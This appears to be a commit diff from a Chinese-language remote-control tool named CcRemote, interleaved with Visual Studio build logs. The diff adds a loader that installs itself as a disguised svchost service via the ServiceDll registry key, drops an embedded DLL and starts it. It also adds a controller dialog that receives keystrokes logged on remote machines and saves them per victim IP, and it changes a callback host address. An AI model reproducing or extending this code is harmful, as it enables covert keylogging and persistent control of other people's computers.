g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
|
@@ -131,8 +131,26 @@ char *AddsvchostService()
|
||||
return lpServiceName;
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if (NULL != hService)
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle(hService);
|
||||
printf("lpService");
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
char lpServiceDescription[]= "CcRemote服务";
|
||||
char strModulePath[MAX_PATH];
|
||||
@@ -144,13 +162,12 @@ int main()
|
||||
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
|
||||
SC_HANDLE hscm = NULL, schService = NULL;
|
||||
|
||||
|
||||
//打开服务
|
||||
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
GetSystemDirectory(strSysDir, sizeof(strSysDir));
|
||||
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
|
||||
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
|
||||
char lpServiceDisplayName[128];
|
||||
char lpServiceDisplayName[128] = {0};
|
||||
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
|
||||
//这里返回新的服务名后就构造服务dll的名字
|
||||
memset(strModulePath, 0, sizeof(strModulePath));
|
||||
@@ -176,7 +193,11 @@ int main()
|
||||
dwStartType = SERVICE_WIN32_OWN_PROCESS;
|
||||
|
||||
if (schService == NULL)
|
||||
{
|
||||
throw "CreateService(Parameters)";
|
||||
printf("schServicenull");
|
||||
}
|
||||
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
@@ -184,7 +205,6 @@ int main()
|
||||
hkRoot = HKEY_LOCAL_MACHINE;
|
||||
//这里构造服务的描述键
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
|
||||
{
|
||||
DWORD dwServiceType = 0x120;
|
||||
@@ -197,15 +217,19 @@ int main()
|
||||
|
||||
lstrcat(strSubKey, "\\Parameters");
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "CcMainDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
printf("123");
|
||||
if (schService != NULL)
|
||||
{
|
||||
CreateEXE(strModulePath, IDR_DLL1, "DLL");
|
||||
StartService(lpServiceName);
|
||||
}
|
||||
RegCloseKey(hkRoot);
|
||||
RegCloseKey(hkParam);
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
system("pause");
|
||||
return 0;
|
||||
|
||||
}
|
@@ -1,14 +1,18 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\release\loder.pdb
|
||||
g:\ccremote\ccremote\bin\server\loder.pdb
|
||||
g:\ccremote\ccremote\bin\server\loder.ipdb
|
||||
g:\ccremote\ccremote\bin\server\loder.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\loder.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog
|
||||
|
@@ -1,4 +1,5 @@
|
||||
Loder.cpp
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
@@ -11,10 +12,7 @@ g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat':
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
|
||||
正在生成代码
|
||||
0 of 4 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||
|
@@ -1,13 +0,0 @@
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
|
||||
f:\myapp\ccremote\bin\server\testloaddll.ilk
|
||||
f:\myapp\ccremote\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\bin\server\testloaddll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
|
@@ -1,14 +1 @@
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
|
@@ -1,6 +1,6 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
|
@@ -7,7 +7,7 @@
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "192.168.2.173"; //声明上线地址
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
|
234
CcRemote/CcRemote/CKeyBoardDlg.cpp
Normal file
@@ -0,0 +1,234 @@
|
||||
// CKeyBoardDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
#define IDM_ENABLE_OFFLINE 0x0010
|
||||
#define IDM_CLEAR_RECORD 0x0011
|
||||
#define IDM_SAVE_RECORD 0x0012
|
||||
// CKeyBoardDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CKeyBoardDlg, CDialog)
|
||||
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_KEYBOARD, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
|
||||
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
}
|
||||
|
||||
CKeyBoardDlg::~CKeyBoardDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CKeyBoardDlg 消息处理程序
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg message handlers
|
||||
|
||||
BOOL CKeyBoardDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
}
|
||||
|
||||
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
ResizeEdit();
|
||||
UpdateTitle();
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
if (nID == IDM_ENABLE_OFFLINE)
|
||||
{
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
else
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
|
||||
}
|
||||
UpdateTitle();
|
||||
|
||||
}
|
||||
else if (nID == IDM_CLEAR_RECORD)
|
||||
{
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
}
|
||||
else if (nID == IDM_SAVE_RECORD)
|
||||
{
|
||||
SaveRecord();
|
||||
}
|
||||
else
|
||||
{
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
}
|
||||
void CKeyBoardDlg::OnReceiveComplete()
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_KEYBOARD_DATA:
|
||||
AddKeyBoardData();
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
SendException();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_EXCEPTION;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::OnClose()
|
||||
{
|
||||
// TODO: Add your message handler code here and/or call default
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
closesocket(m_pContext->m_Socket);
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
|
||||
// TODO: Add your message handler code here
|
||||
ResizeEdit();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::ResizeEdit()
|
||||
{
|
||||
RECT rectClient;
|
||||
RECT rectEdit;
|
||||
if (m_edit.m_hWnd != NULL)
|
||||
{
|
||||
GetClientRect(&rectClient);
|
||||
rectEdit.left = 0;
|
||||
rectEdit.top = 0;
|
||||
rectEdit.right = rectClient.right;
|
||||
rectEdit.bottom = rectClient.bottom;
|
||||
m_edit.MoveWindow(&rectEdit);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::PostNcDestroy()
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
delete this;
|
||||
CDialog::PostNcDestroy();
|
||||
}
|
||||
|
||||
bool CKeyBoardDlg::SaveRecord()
|
||||
{
|
||||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
|
||||
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return false;
|
||||
|
||||
CFile file;
|
||||
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
MessageBox("文件保存失败");
|
||||
return false;
|
||||
}
|
||||
// Write the DIB header and the bits
|
||||
CString strRecord;
|
||||
m_edit.GetWindowText(strRecord);
|
||||
file.Write(strRecord, strRecord.GetLength());
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::UpdateTitle()
|
||||
{
|
||||
CString str;
|
||||
str.Format("\\\\%s - 键盘记录", m_IPAddress);
|
||||
if (m_bIsOfflineRecord)
|
||||
str += " (离线记录已开启)";
|
||||
else
|
||||
str += " (离线记录未开启)";
|
||||
SetWindowText(str);
|
||||
}
|
48
CcRemote/CcRemote/CKeyBoardDlg.h
Normal file
@@ -0,0 +1,48 @@
|
||||
#pragma once
|
||||
|
||||
#include "include/IOCPServer.h"
|
||||
// CKeyBoardDlg 对话框
|
||||
|
||||
class CKeyBoardDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CKeyBoardDlg)
|
||||
|
||||
public:
|
||||
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
virtual ~CKeyBoardDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_KEYBOARD };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_edit;
|
||||
|
||||
void OnReceiveComplete();
|
||||
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void PostNcDestroy();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
private:
|
||||
bool SaveRecord();
|
||||
void UpdateTitle();
|
||||
void ResizeEdit();
|
||||
void AddKeyBoardData();
|
||||
HICON m_hIcon;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
bool m_bIsOfflineRecord;
|
||||
void SendException();
|
||||
};
|
@@ -146,7 +146,7 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
// 梳理消息函数
|
||||
void CShellDlg::OnReceiveComplete(void)
|
||||
{
|
||||
AddKeyBoardData();
|
||||
|
@@ -212,6 +212,7 @@
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="CKeyBoardDlg.h" />
|
||||
<ClInclude Include="CServerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="CScreenSpyDlg.h" />
|
||||
@@ -242,6 +243,7 @@
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="CKeyBoardDlg.cpp" />
|
||||
<ClCompile Include="CServerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||
@@ -295,7 +297,9 @@
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\file_ico.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\liset_online_pic.bmp" />
|
||||
<Image Include="res\list_online_pic.bmp" />
|
||||
<Image Include="res\logo.bmp" />
|
||||
<Image Include="res\regsz.ico" />
|
||||
<Image Include="res\remote.ico" />
|
||||
@@ -303,6 +307,16 @@
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp" />
|
||||
<Image Include="res\文件夹1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
|
@@ -99,6 +99,9 @@
|
||||
<ClInclude Include="RegDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CKeyBoardDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -161,6 +164,9 @@
|
||||
<ClCompile Include="RegDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CKeyBoardDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -242,5 +248,41 @@
|
||||
<Image Include="res\liset_online_pic.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\list_online_pic.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
